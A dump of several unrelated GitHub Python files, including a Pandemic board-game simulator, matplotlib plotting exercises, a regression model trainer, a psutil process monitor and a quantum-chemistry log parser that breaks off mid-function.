__init__(self, n_players, difficulty, AI_Decider):\n self.cities = []\n self.city_list = {}\n self.roles = []\n self.player_cards = []\n self.player_discard = []\n self.infection_cards = []\n self.infection_discard = []\n self.infection_cards_restack = [] #a subset of infection cards that track which cards are back on top that were in the discard\n\n self.round_number = 0\n self.turn_number = 0\n\n self.cured_diseases = {\n \"blue\": False,\n \"yellow\": False,\n \"black\": False,\n \"red\": False\n }\n\n #set initial infection rate\n self.game_lost = False\n self.game_win = False\n self.occurred_epidemics = 0\n self.infection_rate_options = [2,2,2,3,3,4,4]\n self.outbreak_number = 0 #initialize to 0\n\n self.AI = AI_Decider\n #Add two data trackers\n self.starting_num_of_player_cards = 48+5\n\n #Players\n self.number_of_players = n_players\n self.players = []\n #set difficulty\n if difficulty == 'easy':\n self.num_of_epidemics = 4\n elif difficulty == 'standard':\n self.num_of_epidemics = 5\n else:\n self.num_of_epidemics = 6\n\n self.initialize_game()\n\n @property\n def infection_rate(self):\n return self.infection_rate_options[self.occurred_epidemics]\n\n def initialize_game(self):\n self.cities = import_cities(\"pandemic_cities.csv\") #need to grab the correct reference\n for city in self.cities:\n self.city_list[city.name] = city\n self.generate_card_decks()\n self.spawn_infection()\n self.spawn_characters()\n self.finalize()\n\n def update(self):\n # TODO: Implement a single turn\n #which player turn:\n playerTurn = self.which_player_turn()\n #Run the AI to make decisions\n if self.AI is not None:\n game_copy = deepcopy(self)\n actions = self.AI.SetActionOptions(playerTurn,game_copy)\n #perform action\n self.do_action(actions,playerTurn)\n #draw cards\n self.draw_playercards(playerTurn)\n #draw infections\n self.draw_infections()\n #reset action counter for next round\n playerTurn.reset_action_counter()\n self.turn_number += 1\n #Check for outbreaks\n self.check_for_outbreaks()\n\n def play(self):\n # Main game loop\n while self.check_win() is None:\n self.update()\n\n if self.check_win():\n print(\"DR. FAUCI HAS WON! on turn \" + str(self.turn_number))\n else:\n print(\"CORONAVIRUS HAS WON! on turn \" + str(self.turn_number))\n\n def do_action(self, list_of_actions, player):\n #list of actions (order dependent) for player\n for act in list_of_actions:\n if check_action(act,player):\n perform_action(act,player,self)\n\n def which_player_turn(self):\n pi = self.turn_number % self.number_of_players\n return self.players[pi]\n\n def discard_playercard(self, player, index):\n self.player_discard.append(player.card_list.pop(index))\n\n def draw_playercards(self, player):\n #draw 2 cards\n if self.player_cards.number_of_cards_left > 2:\n #card 1\n c = self.player_cards.DrawCard()\n if c.kind == 'Epidemic':\n self.spawn_epidemic()\n else:\n player.AddCard(c)\n #card 2\n c = self.player_cards.DrawCard()\n if c.kind == 'Epidemic':\n self.spawn_epidemic()\n else:\n player.AddCard(c)\n else:\n self.game_lost = True\n return\n\n def draw_infections(self):\n for k in range(self.infection_rate):\n infect = self.infection_cards.pop(0)\n infect.has_been_drawn = True\n self.cities[infect.ID].AddDrawnInfection(self.cities,1,self.players)\n self.infection_discard.append(infect)\n #pull out restack cards if they exist\n if len(self.infection_cards_restack) > 0:\n self.infection_cards.restack.pop(0)\n\n def spawn_epidemic(self):\n #Part 1: upgrade infection rate\n self.occurred_epidemics += 1\n #Part 2: Cause Infection\n bottom_card = self.infection_cards.pop(-1)\n bottom_card.has_been_drawn = True\n self.cities[bottom_card.ID].AddDrawnInfection(self.cities,3,self.players)\n self.infection_discard.append(bottom_card)\n #Part 3: reshuffle and place on top\n ShuffleDeck(self.infection_discard)\n #update our local tracker of which ones have been drawn and are back on top\n self.infection_cards_restack.extend(self.infection_discard)\n self.infection_cards = self.infection_discard.extend(self.infection_cards)\n\n def print_game_state(self):\n print(\"================\")\n print(\"Diseased Cities List\")\n for c in self.cities:\n c.ShowDiseaseStatus()\n print(\"================\")\n print(\"Research Center List\")\n for c in self.cities:\n c.ShowResearchCenterStatus()\n print(\"================\")\n print(\"Players\")\n for p in self.players:\n p.ShowCharacter(self.cities)\n p.ShowActionOptions(self.cities,self.players,self.player_discard)\n print(\"================\")\n\n def generate_card_decks(self):\n #role deck\n role_deck = ['Medic',\n 'Researcher',\n 'Operations Expert',\n 'Dispatcher',\n 'Quarantine Specialist',\n 'Scientist',\n 'Contingency Planner']\n ShuffleDeck(role_deck)\n self.roles = role_deck\n #player cards\n city_cards = []\n for city in self.cities:\n city_cards.append(PlayerCard('city', city.name, city.ID))\n self.player_cards = PlayerCardDeck(city_cards) #shuffles internally\n #infection cards\n self.infection_cards = city_cards\n ShuffleDeck(self.infection_cards)\n print(\"Number of player cards in generate cards \" + str(self.player_cards.remaining_cards()) + \" == \" + '53')\n\n def spawn_infection(self):\n for k in range(3):\n for i in range(3):\n self.cities[self.infection_cards[0].ID].AddDrawnInfection(self.cities,3-k,self.players)\n cardref = self.infection_cards.pop(0)\n cardref.has_been_drawn = True\n self.infection_discard.append(cardref)\n\n def spawn_characters(self):\n random_names = [\"Kevin\",\"Phil\",\"Megan\",\"Jessica\"];\n for k in range(self.number_of_players):\n self.players.append(Player(self.roles[k],random_names[k],k))\n #Draw cards for the players\n start_cards = self.player_cards.DrawPlayerStartingCards(self.number_of_players)\n for c, p in enumerate(self.players):\n for k in range(len(start_cards[c])):\n p.AddCard(start_cards[c][k])\n\n def finalize(self):\n self.player_cards.AddEpidemicCards(self.num_of_epidemics)\n self.cities[0].research_center = True\n #this number tracks remaining cards disregarding turn 0 draw\n self.starting_num_of_player_cards = self.player_cards.remaining_cards()\n\n def check_for_outbreaks(self):\n total = 0\n for city in self.cities:\n if city.outbreaked:\n total += 1\n city.outbreaked = False\n self.outbreak_number += total\n\n def check_cube_limit(self):\n \"\"\"\n return: True if all of the disease cubes for any color have been placed\n \"\"\"\n\n sum_blue = 0\n sum_red = 0\n sum_yellow = 0\n sum_black = 0\n for city in self.cities:\n sum_blue += city.disease['blue']\n sum_black += city.disease['black']\n sum_yellow += city.disease['yellow']\n sum_red += city.disease['red]']\n if sum_blue > 24 or sum_red > 24 or sum_yellow > 24 or sum_black > 24:\n return True\n else:\n return False\n\n def check_win(self):\n \"\"\"\n A loss occurs if any of the following occurs:\n - 8 outbreaks\n - more than 24 disease cubes of one color\n - no cards left\n\n A win occurs if all four diseases are cured\n \"\"\"\n if self.outbreak_number >= 8 or self.check_cube_limit():\n return False\n #no cards left is checked when you draw 2 new cards for player\n\n #all four diseases cured\n if all(self.cured_diseases.values()):\n return True\n\n return None\n\n def share_card(self, playerDst, playerSrc, card_index):\n playerDst.card_list.append(playerSrc.card_list.pop(card_index))\n\n def get_city_by_name(self,name):\n return self.city_list[name]","repo_name":"jpypi/pandemic-game-ai","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":9619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"14721938864","text":"from cProfile import label\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# y1 = np.random.normal(200, 30, size = 100)\n# y2 = np.random.normal(100,70, size = 100)\n# data = pd.DataFrame({'y1': y1, 'y2': y2, 'index': pd.date_range('1/1/2021',\n# periods=100)})\n# #Vẽ đồ thị ghép (cùng loại trên cùng 1 axes)\n# plt.plot(data.index, data.loc[:,'y1'], 'r', label='y1') #Đường y1 màu đỏ\n# plt.plot(data.index, data.loc[:,'y2'], 'b', label='y2') #Đường y2 màu xanh\n\n# plt.title('Đồ thị phân bố normal') #Tên đồ thị\n# plt.xlabel('Index') #Tên trục X\n# plt.ylabel('Dao động') #Tên trục Y\n# plt.legend() #Legend (chỉ nên dùng khi có từ 2 đồ thị con trở lên)\n# plt.show()\n\n#Tạo dữ liệu nhân tạo\ny3 = np.random.normal(200, 30, size = 100)\ny4 = np.random.normal(1000, 200, size = 100)\ndata = pd.DataFrame({'y3': y3, 'y4': y4, 'date': pd.date_range('1/1/2021', periods=100)})\nprint(data.head(10))\nplt.plot(data.index, data.loc[:, 'y3'], 'r', label= 'y3')\nplt.plot(data.index, data.loc[:, 'y4'], 'b', label= 'y4')\nplt.title('Đồ thị phân bố normal')\nplt.xlabel('Index')\nplt.ylabel('Dao động')\nplt.legend()\nplt.show()\n# => nên tránh vẽ khi 2 scale cách biệt lớn thế này\n# sẽ gây hiểu làm dữ liệu\n\n#Tạo dữ liệu nhân tạo\ny1 = np.random.normal(100, 30, size = 100)\ny2 = np.random.normal(100, 70, size = 100)\ny3 = np.random.normal(200, 30, size = 100)\ny4 = np.random.normal(1000, 200, size = 100)\ndata2 = pd.DataFrame({'y1':y1, 'y2':y2, 'y3': y3, 'y4': y4})\n\n#Tạo Figure và Subplot (các axes = ax)\nfig1, ax = plt.subplots(3,1)\nax[0].plot(data2['x'], data2['y1'], label='y1')\nax[1].plot(data2['x'], data2['y2'], label='y2')\nax[2].plot(data2['x'], data2['y3'], label='y3')\n\nax[0].set_title('Giá các mặt hàng')\nax[2].set_xlabel('Ngày')\nax[1].set_ylabel('Giá trị dầu')\nax[0].set_ylabel('Giá vàng')\nax[2].set_ylabel('Giá đôla')\n\nax[0].set_xticklabels([])\nax[1].set_xticklabels([])\n\nax[0].tick_params(axis='y', size = 8)\nax[1].tick_params(axis='y', size = 8)\nax[2].tick_params(axis='y', size = 8)\n\nax[0].tick_params(axis='x', size = 0)\nax[1].tick_params(axis='x', size = 0)\nax[2].tick_params(axis='x', size = 8)\n\n# ax[0].set_xticks([])\n# ax[1].set_xticks([])\n\n\n#Tạo dữ liệu nhân tạo\ny1 = np.random.normal(100, 30, size = 100)\ny2 = np.random.normal(100, 70, size = 100)\ny3 = np.random.normal(200, 30, size = 100)\ny4 = np.random.normal(1000, 200, size = 100)\ndata3 = pd.DataFrame({'y1':y1, 'y2':y2, 'y3': y3, 'y4': y4})\n# xanh lục, xanh biển, vàng\nfig2, ax = plt.subplots(2, 2, sharex=True)\n\nax[0][0].plot(data3.index, data3['y1'], label='y1', c='red')\nax[0][1].plot(data3.index, data3['y2'], label='y2', c='green')\nax[1][0].plot(data3.index, data3['y3'], label='y3', c='blue')\nax[1][1].plot(data3.index, data3['y4'], label='y4', c='pink')\n\nax[0][0].set_ylabel('y1')\nax[0][1].set_ylabel('y2')\nax[1][0].set_ylabel('y3')\nax[1][1].set_ylabel('y4')\n\nax[1][0].set_xlabel('My Index')\nax[1][1].set_xlabel('My Index')\n\n#Đặt tên cho từng axes\n# ax[0][0].set_title('Đây là màu đỏ')\n# ax[0][1].set_title('Đây là màu lam')\n# ax[1][0].set_title('Đây là màu lục')\n# ax[1][1].set_title('Đây là màu hồng')\n\n#Thêm ledend cho mỗi axes\nax[0][0].legend()\nax[0][1].legend()\nax[1][0].legend()\nax[1][1].legend()\n\n#Đặt tên cho cả figure\nplt.suptitle('Ví dụ 3')\n\nplt.tight_layout() #Tự động căn chỉnh đồ thị cho đẹp\nplt.show()\n\n#Tạo dữ liệu\nx = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\ny1 = [12.2, 16.3, 20.5, 25.4, 31.2, 14.2, 24, 19.5, 28.1, 21.7]\ny2 = [2000, 4000, 1200, 3200, 5600, 2300, 3600, 2500, 3100, 3000]\nplt.bar(x, y1, label = 'bar 1', width = 0.5);\n\naxes1 = plt.gca() #get current axes -> lấy giá trị của trục vừa mới vẽ\naxes2 = axes1.twinx() #Tạo trục thứ 2 chia sẻ trục X với trục axes1\naxes2.plot(x,y2,label = 'line 1', linewidth = 2, c = 'r', marker = 'o')\n\n# plt.plot(x,y2,label = 'line 1', linewidth = 2, c = 'r', marker = 'o')\n\nplt.title('Ví dụ')\naxes1.set_ylabel('Biểu đồ cột trục Y')\naxes2.set_ylabel('Biểu đồ đường trục Y')\naxes1.set_xlabel('Trục X')\naxes1.tick_params(axis='y', colors='blue')\naxes2.tick_params(axis='y', colors='red')\nplt.show()\n\n#Nhập dữ liệu\nx1 = ['P1','P2','P3','P4','P5']\ny1 = [12.2, 16.3, 20.5, 25.4, 31.2]\ny2 = [20.3, 22.6, 31.4, 33.7, 39.2]\ny3 = [16.3, 17.6, 24.4, 26.7, 33.2]\nfig, ax = plt.subplots(2, 2);\n\nax[0][0].bar(x1, y1)\nax[0][0].set_title('Y1 cột')\n\nax[1][0].bar(x1, y2)\nax[1][0].set_title('Y2 cột')\n\nax[0][1].pie(y1, labels=x1, autopct='%1.f%%', radius=1.3)\nax[0][1].set_title('Y1 tròn')\n\nax[1][1].pie(y2, labels=x1, autopct='%1.f%%', radius=1.3)\nax[1][1].set_title('Y2 tròn')\n\nplt.tight_layout()\nplt.show()\n","repo_name":"Two-Steps/HomeWorkPTDL","sub_path":"DataVisualization2/TrenLop.py","file_name":"TrenLop.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39560715449","text":"from sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import KFold, cross_val_score\nimport numpy as np\nimport logging\nimport pickle\n\nfrom model_trainer.src.funda_db import FundaDB\nfrom library import constants\nfrom library.s3_client import S3Client\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\ndef main(events={}, context={}):\n # Get the housing data for training the model\n funda_db = FundaDB()\n df = funda_db.query_house_data()\n df_x = df.drop(columns=['link', 'time_added', 'city', 'price'])\n df_y = df['price']\n logger.info('Start model training')\n\n # Do a K-fold cross-validation to see accuracy of model\n cv = KFold(n_splits=5, shuffle=True)\n\n # Create the model\n model = LinearRegression()\n\n # Get cross_validation_score\n scores = cross_val_score(model, df_x, df_y, scoring='explained_variance', cv=cv, n_jobs=-1)\n logger.info(f'Explained variance: {np.mean(scores)} ({np.std(scores)})')\n\n # Fit the eventual model for use on all data\n model.fit(df_x, df_y)\n pickle_byte_obj = pickle.dumps(model)\n\n # Write model away\n s3_client = S3Client()\n s3_client.put_bytes_data_to_s3(bucket=constants.FUNDA_BUCKET, key=constants.TRAINED_MODEL_KEY,\n bytes_object=pickle_byte_obj)\n\n logger.info('Put model into S3 bucket')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"TimMolleman/funda-lambdas","sub_path":"model_trainer/src/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"28916708327","text":"from curses import halfdelay\nfrom typing import List\n\nfrom psutil import Process, cpu_percent, virtual_memory, process_iter\n\nfrom enum import Enum\n\nclass OrderBy(Enum):\n \"\"\"\n Enum for the order by options.\n \"\"\"\n MEMORY = 0\n CPU = 1\n\ndef get_processes(order_by: OrderBy) -> List[Process]:\n \"\"\"\n Get the processes to display.\n \"\"\"\n # Get the processes as a list\n processes = list(process_iter())\n\n # Order the processes\n try:\n if order_by == OrderBy.MEMORY:\n processes = sorted(processes, key=lambda p: p.memory_percent(), reverse=True)\n elif order_by == OrderBy.CPU:\n processes = sorted(processes, key=lambda p: p.cpu_percent(), reverse=True)\n except Exception:\n pass\n\n return processes\n\ndef main(stdscr) -> None:\n \"\"\"\n Main entry point for the application.\n \"\"\"\n order_by = OrderBy.MEMORY\n\n while True:\n # Get the memory usage\n memory = virtual_memory()\n memory_percentage = memory.percent\n\n # Get the CPU usage\n cpu_percentage = cpu_percent()\n\n # Print the results\n stdscr.addstr(0, 4, f'Memory Usage: {memory_percentage}%')\n stdscr.addstr(1, 4, f'CPU Usage: {cpu_percentage}%')\n\n # Get the processes\n processes = get_processes(order_by)\n\n # Display Processes\n stdscr.addstr(4, 4, 'PID')\n stdscr.addstr(4, 15, 'Name')\n stdscr.addstr(4, 30, 'Memory')\n stdscr.addstr(4, 40, 'CPU')\n stdscr.addstr(5, 4, '-' * 40)\n\n # Display top 10 processes\n for i, process in enumerate(processes[:10]):\n try:\n pid = process.pid\n name = process.name()\n memory_percentage = process.memory_percent()\n cpu_percentage = process.cpu_percent()\n\n # Align the text to column, and truncate float\n pid = f'{pid:<5}'\n name = f'{name:<15}'\n memory_percentage = f'{memory_percentage:<10.2f}'\n cpu_percentage = f'{cpu_percentage:<10.2f}'\n\n # Print the results in proper columns\n stdscr.addstr(i + 7, 4, pid)\n stdscr.addstr(i + 7, 15, name)\n stdscr.addstr(i + 7, 30, memory_percentage)\n stdscr.addstr(i + 7, 40, cpu_percentage)\n except:\n continue\n\n # Update the screen\n stdscr.refresh()\n\n # Sleep for a second\n halfdelay(5)\n character = stdscr.getch()\n \n if character == ord('q'):\n break\n elif character == ord('m'):\n order_by = OrderBy.MEMORY\n elif character == ord('c'):\n order_by = OrderBy.CPU\n","repo_name":"JohnnyIrvin/UseAllTheMemory","sub_path":"memory/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26164951309","text":"from Numerics import *\nfrom Utils import *\n\nconfig = { }\n\nconfig['nPoints'] = 200\nconfig['nu'] = 1e-6\nconfig['ReTau'] = 5200\nconfig['dpdx'] = \\\n calculateDpdx(config['ReTau'], config['nu'])\n\nconfig['TurbModel'] = SpalartAllmaras92Model\nconfig['InitialConditions'] = [\n 1e-1,\n 1e-8,\n 1e-2\n]\nconfig['WallBoundaryConditions'] = [\n 0.0,\n 0.0,\n 6.0*config['nu'] / 0.075 / (0.1/config['ReTau'])**2\n]\n\nconfig['cfl'] = 2000\nconfig['nSolverIters'] = 5000\n","repo_name":"vsriv9394/pySuite","sub_path":"PROJECTS/ChannelFlow1D/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31212513110","text":"from django.contrib.auth.models import AnonymousUser\nfrom django.contrib.auth.models import User\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.test import APIClient\n\n\ndef create_token(user: User) -> Token:\n return Token.objects.create(user=user)\n\n\nclass ApiClient(APIClient):\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop(\"user\", AnonymousUser())\n\n if not self.user.is_anonymous:\n self.token = create_token(user=self.user)\n\n super().__init__(*args, **kwargs)\n\n def _base_environ(self, **request):\n environ = super()._base_environ(**request)\n\n if not self.user.is_anonymous:\n environ[\"HTTP_AUTHORIZATION\"] = f\"Token {self.token}\"\n\n return environ\n","repo_name":"ramidk/coinmena","sub_path":"tests/fixtures/api_client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73437896547","text":"#!/usr/bin/env python3\nimport numpy as np\nimport os\nimport nemo.tools \nimport warnings\nimport pandas as pd\n\nc = nemo.tools.c\npi = nemo.tools.pi\nhbar = nemo.tools.hbar\nhbar2 = nemo.tools.hbar2\nkb = nemo.tools.kb\ne = nemo.tools.e\nmass = nemo.tools.mass\nepsilon0 = nemo.tools.epsilon0\n\n\n##RETURNS LIST OF LOG FILES WITH NORMAL TERMINATION######################################\ndef check_normal(files):\n normal = []\n add = False\n for file in files:\n with open('Geometries/'+file, 'r') as f:\n for line in f:\n if 'TDDFT/TDA Excitation Energies' in line or 'TDDFT Excitation Energies' in line:\n exc = True\n elif 'Excited state' in line and exc:\n eng = float(line.split()[7])\n if eng < 0:\n add = False\n else:\n add = True\n exc = False \n elif \"Have a nice day\" in line and add: \n normal.append(file)\n return normal\n#########################################################################################\n\n##GETS ENERGIES, OSCS, AND INDICES FOR Sn AND Tn STATES##################################\ndef pega_energias(file):\n ss = 'Excited-state properties with relaxed density'\n with open(file, 'r') as f:\n exc = False\n corr = False\n correction, correction2 = [], []\n for line in f:\n if 'TDDFT/TDA Excitation Energies' in line or 'TDDFT Excitation Energies' in line:\n energies, spins, oscs, ind = [], [], [], []\n exc = True\n elif ss in line:\n corr = True\n elif 'Solute Internal Energy' in line:\n sol_int = float(line.split()[5])\n elif 'Total Free Energy' in line: \n total_free = float(line.split()[9])\n elif 'Excited state' in line and exc:\n energies.append(float(line.split()[7]))\n ind.append(int(line.split()[2].replace(':','')))\n elif 'Multiplicity' in line and exc:\n spins.append(line.split()[1])\n elif 'Strength' in line and exc:\n oscs.append(float(line.split()[2]))\n elif '---------------------------------------------------' in line and exc and len(energies) > 0:\n exc = False\n elif 'SS-PCM correction' in line and corr:\n correction.append(-1*float(line.split()[-2]))\n elif 'LR-PCM correction' in line and corr:\n correction2.append(-2*float(line.split()[-2])) \n elif '------------------------ END OF SUMMARY -----------------------' in line and corr:\n corr = False \n elif 'Total energy in the final basis set' in line:\n line = line.split()\n total_nopcm = float(line[8]) \n if len(correction) == 0: #When run on logs that do not employ pcm\n correction = np.zeros(len(energies))\n sol_int = total_nopcm\n total_free = total_nopcm\n singlets = np.array([energies[i] for i in range(len(energies)) if spins[i] == 'Singlet'])\n ss_s = np.array([correction[i]+correction2[i] for i in range(len(correction)) if spins[i] == 'Singlet'])\n ind_s = np.array([ind[i] for i in range(len(ind)) if spins[i] == 'Singlet'])\n oscs = np.array([oscs[i] for i in range(len(energies)) if spins[i] == 'Singlet'])\n triplets = np.array([energies[i] for i in range(len(energies)) if spins[i] == 'Triplet'])\n ss_t = np.array([correction[i]+correction2[i] for i in range(len(correction)) if spins[i] == 'Triplet'])\n ind_t = np.array([ind[i] for i in range(len(ind)) if spins[i] == 'Triplet'])\n \n oscs = np.array([x for _, x in zip(singlets, oscs)])\n ind_s = np.array([x for _, x in zip(singlets, ind_s)])\n ind_t = np.array([x for _, x in zip(triplets, ind_t)])\n\n order_s = np.argsort(singlets)\n order_t = np.argsort(triplets)\n singlets = np.sort(singlets)\n triplets = np.sort(triplets)\n oscs = oscs[order_s]\n ind_s = ind_s[order_s]\n ind_t = ind_t[order_t]\n\n return singlets, triplets, oscs, ind_s, ind_t, ss_s, ss_t, (sol_int - total_free)*27.2114\n######################################################################################### \n\n\n##GETS SOC BETWEEN Sn STATE AND TRIPLETS#################################################\ndef pega_soc_S(file,n_state):\n socs = []\n _, _, _, ind_s, ind_t, _, _, _ = pega_energias('Geometries/'+file)\n order_s = np.argsort(ind_s)\n order_t = np.argsort(ind_t)\n n_state = order_s[n_state] + 1\n with open('Geometries/'+file, 'r') as f:\n catch = False\n for line in f:\n if \"Total SOC between the S\"+str(n_state)+\" state and excited triplet states:\" in line:\n catch = True\n elif catch and 'T' in line and '(' not in line:\n try:\n socs.append(float(line.split()[1]))\n except:\n catch = False\n socs = np.array(socs)\n socs = socs[order_t]\n return socs[np.newaxis,:]*0.12398/1000 \n#########################################################################################\n\n##GETS SOC BETWEEN Tn STATE AND SINGLETS################################################# \ndef pega_soc_T(file,n_state):\n socs = []\n _, _, _, ind_s, ind_t, _, _, _ = pega_energias('Geometries/'+file)\n order_s = np.argsort(ind_s)\n order_t = np.argsort(ind_t)\n n_state = order_t[n_state] + 1\n with open('Geometries/'+file, 'r') as f:\n catch = False\n for line in f:\n if \"Total SOC between the S\" in line and \"state and excited triplet states:\" in line:\n catch = True\n elif catch and 'T'+str(n_state)+' ' in line and '(' not in line:\n try:\n socs.append(float(line.split()[1]))\n except:\n catch = False\n socs = np.array(socs)\n socs = socs[order_s]\n return socs[np.newaxis,:]*0.12398/1000\n#########################################################################################\n\n##GETS SOC BETWEEN Tn STATE AND S0####################################################### \ndef pega_soc_ground(file,n_state):\n socs = []\n #_, _, _, ind_s, ind_t, _, _, _ = pega_energias('Geometries/'+file)\n #order_s = np.argsort(ind_s)\n #order_t = np.argsort(ind_t)\n n_state += 1# order_t[n_state] + 1\n with open('Geometries/'+file, 'r') as f:\n catch = False\n for line in f:\n if \"Total SOC between the singlet ground state and excited triplet states:\" in line:\n catch = True\n elif catch and 'T'+str(n_state)+' ' in line and '(' not in line:\n try:\n socs.append(float(line.split()[1]))\n except:\n catch = False\n elif len(line.split()) < 2:\n catch = False \n socs = np.array(socs)\n #socs = socs[order_s]\n return socs[np.newaxis,:]*0.12398/1000\n#########################################################################################\n\n##GETS SOC BETWEEN Tn STATE AND SINGLETS################################################# \ndef pega_soc_TT(file,n_state):\n socs = []\n #_, _, _, ind_s, ind_t, _, _, _ = pega_energias('Geometries/'+file)\n #order_s = np.argsort(ind_s)\n #order_t = np.argsort(ind_t)\n n_state += 1 #order_t[n_state] + 1\n with open('Geometries/'+file, 'r') as f:\n catch, catch2 = False, False\n for line in f:\n if \"Total SOC between the T\"+str(n_state)+\" state and excited triplet states:\" in line:\n catch2 = True\n elif \"Total SOC between the T\" in line and \"state and excited triplet states:\" in line:\n catch = True\n elif (catch and 'T'+str(n_state)+' ' in line and '(' not in line) or (catch2 and 'T' in line and '(' not in line):\n try:\n socs.append(float(line.split()[1]))\n except:\n catch, catch2 = False, False\n elif len(line.split()) < 2:\n catch, catch2 = False, False\n socs = np.array(socs)\n #socs = socs[order_s]\n return socs[np.newaxis,:]*0.12398/1000\n#########################################################################################\n\n##DECIDES WHICH FUNCTION TO USE IN ORDER TO GET SOCS#####################################\ndef avg_socs(files,tipo,n_state):\n if tipo == 'singlet':\n pega_soc = pega_soc_S\n elif tipo == 'triplet':\n pega_soc = pega_soc_T\n elif tipo == 'ground':\n pega_soc = pega_soc_ground \n elif tipo == 'tts':\n pega_soc = pega_soc_TT \n for file in files:\n socs = pega_soc(file,n_state)\n try:\n socs = socs[:,:col]\n Socs = np.vstack((Socs,socs))\n except:\n col = socs.shape[1] \n Socs = socs \n return Socs \n#########################################################################################\n\n##GETS TRANSITION DIPOLE MOMENTS#########################################################\ndef pega_dipolos(file, ind,frase, state):\n mu = np.zeros((1,1))\n with open('Geometries/'+file, 'r') as f:\n dip = False\n for line in f:\n if frase in line:\n dip = True\n elif dip and '--' not in line:\n line = line.split()\n if line[0] == str(ind[state]):\n a = [float(line[i]) for i in range(1,len(line))]\n a = np.array([a])\n try:\n mu = np.vstack((mu,a))\n except:\n mu = np.zeros((1,len(line)-1))\n mu = np.vstack((mu,a))\n elif line[1] == str(ind[state]) and int(line[0]) < int(line[1]): \n a = [float(line[0])]\n b = [float(line[i]) for i in range(2,len(line))]\n a.extend(b)\n a = np.array([a])\n try:\n mu = np.vstack((mu,a))\n except:\n mu = np.zeros((1,len(line)-1))\n mu = np.vstack((mu,a))\n elif np.shape(mu)[0] > 1 and '---' in line:\n dip = False \n mu = mu[1:,:]\n muf = np.zeros((1,3))\n ind = np.array(ind).astype(float)\n col = np.shape(mu)[1]\n if col > 4:\n for i in ind:\n index = np.where(mu[:,0] == i)\n try:\n index = index[0][0]\n up = mu[index,1:-1]\n muf = np.vstack((muf,up))\n except:\n pass\n muf = muf[1:,:]\n else:\n muf = mu \n return muf \n#########################################################################################\n\n##GETS TRANSITION DIPOLE MOMENTS#########################################################\ndef pega_oscs(files, IND,initial):\n spin = initial[0].upper()\n num = int(initial[1:]) -1\n mapa = {'S':'Singlet','T':'Triplet'}\n frase = \"Transition Moments Between \"+mapa[spin]+\" Excited States\"\n for i in range(len(files)):\n oscs = []\n ind = IND[i,num]\n ind_s = IND[i,:]\n location = np.where(ind_s == ind)[0][0]\n ind_s = ind_s[location+1:]\n ind = str(ind)\n with open('Geometries/'+files[i], 'r') as f:\n dip = False\n for line in f:\n if frase in line:\n dip = True\n elif dip and '--' not in line:\n line = line.split()\n if (line[0] == ind and int(line[1]) in ind_s) or (line[1] == ind and int(line[0]) in ind_s):\n oscs.append(float(line[5]))\n elif len(oscs) > 0 and '---' in line:\n dip = False\n try:\n Oscs = np.vstack((Oscs,np.array(oscs)[np.newaxis,:]))\n except:\n Oscs = np.array(oscs)[np.newaxis,:] \n return Oscs \n#########################################################################################\n\n##GETS SOCS BETWEEN S0 AND EACH TRIPLET SUBLEVEL#########################################\ndef soc_s0(file,m, ind_t):\n socs = np.zeros((1))\n with open('Geometries/'+file, 'r') as f:\n read = False\n for line in f:\n if \"SOC between the singlet ground state and excited triplet states (ms=\"+m in line:\n read = True \n elif read:\n if \"T\" in line and \"Total\" not in line:\n line = line.split()\n if line[2] == '-':\n sign = -1\n else:\n sign = 1 \n c1 = line[1].replace('(','').replace(')','').replace('i','')\n c1 = float(c1.replace('--','+').replace('+-','-').replace('-+','-').replace('++','+'))\n c2 = line[2]+line[3].replace('(','').replace(')','').replace('i','')\n c2 = float(c2.replace('--','+').replace('+-','-').replace('-+','-').replace('++','+'))\n z = c1 + c2*1j\n # Qchem gives . We need to conjugate to get \n z = z.conjugate()\n c = np.array([z])\n socs = np.vstack((socs,c))\n else:\n read = False\n socs = socs[1:,:]\n indice = np.argsort(ind_t)\n socs = socs[indice,:] \n return socs*0.12398/1000\n######################################################################################### \n\n##GETS SOCS BETWEEN Sm AND EACH Tn SUBLEVEL##############################################\ndef soc_t1(file,m,n_triplet,ind_s):\n socs = np.zeros((1))\n with open('Geometries/'+file, 'r') as f:\n read = False\n for line in f:\n if \"SOC between the S\" in line and \"(ms=\"+m in line:\n read = True \n elif read:\n if \"T\"+str(n_triplet+1)+\"(ms=\"+m in line:\n line = line.split()\n c1 = line[1].replace('(','').replace(')','').replace('i','')\n c1 = float(c1.replace('--','+').replace('+-','-').replace('-+','-').replace('++','+'))\n c2 = line[2]+line[3].replace('(','').replace(')','').replace('i','')\n c2 = float(c2.replace('--','+').replace('+-','-').replace('-+','-').replace('++','+'))\n # Qchem gives . No need to conjugate.\n z = c1 + c2*1j\n c = np.array([z])\n socs = np.vstack((socs,c))\n socs = socs[1:,:]\n indice = np.argsort(ind_s)\n socs = socs[indice,:] \n return socs*0.12398/1000\n\n##CALCULATES TRANSITION DIPOLE MOMENTS FOR Tn TO S0 TRANSITIONS##########################\ndef moment(file,ess,ets,dipss,dipts,n_triplet,ind_s,ind_t):\n #Conversion factor between a.u. = e*bohr to SI\n conversion = 8.4783533E-30 \n fake_t = np.where(np.sort(ind_t) == ind_t[n_triplet])[0][0]\n ess = np.array(ess)\n ets = np.array(ets)\n ess = np.insert(ess, 0, 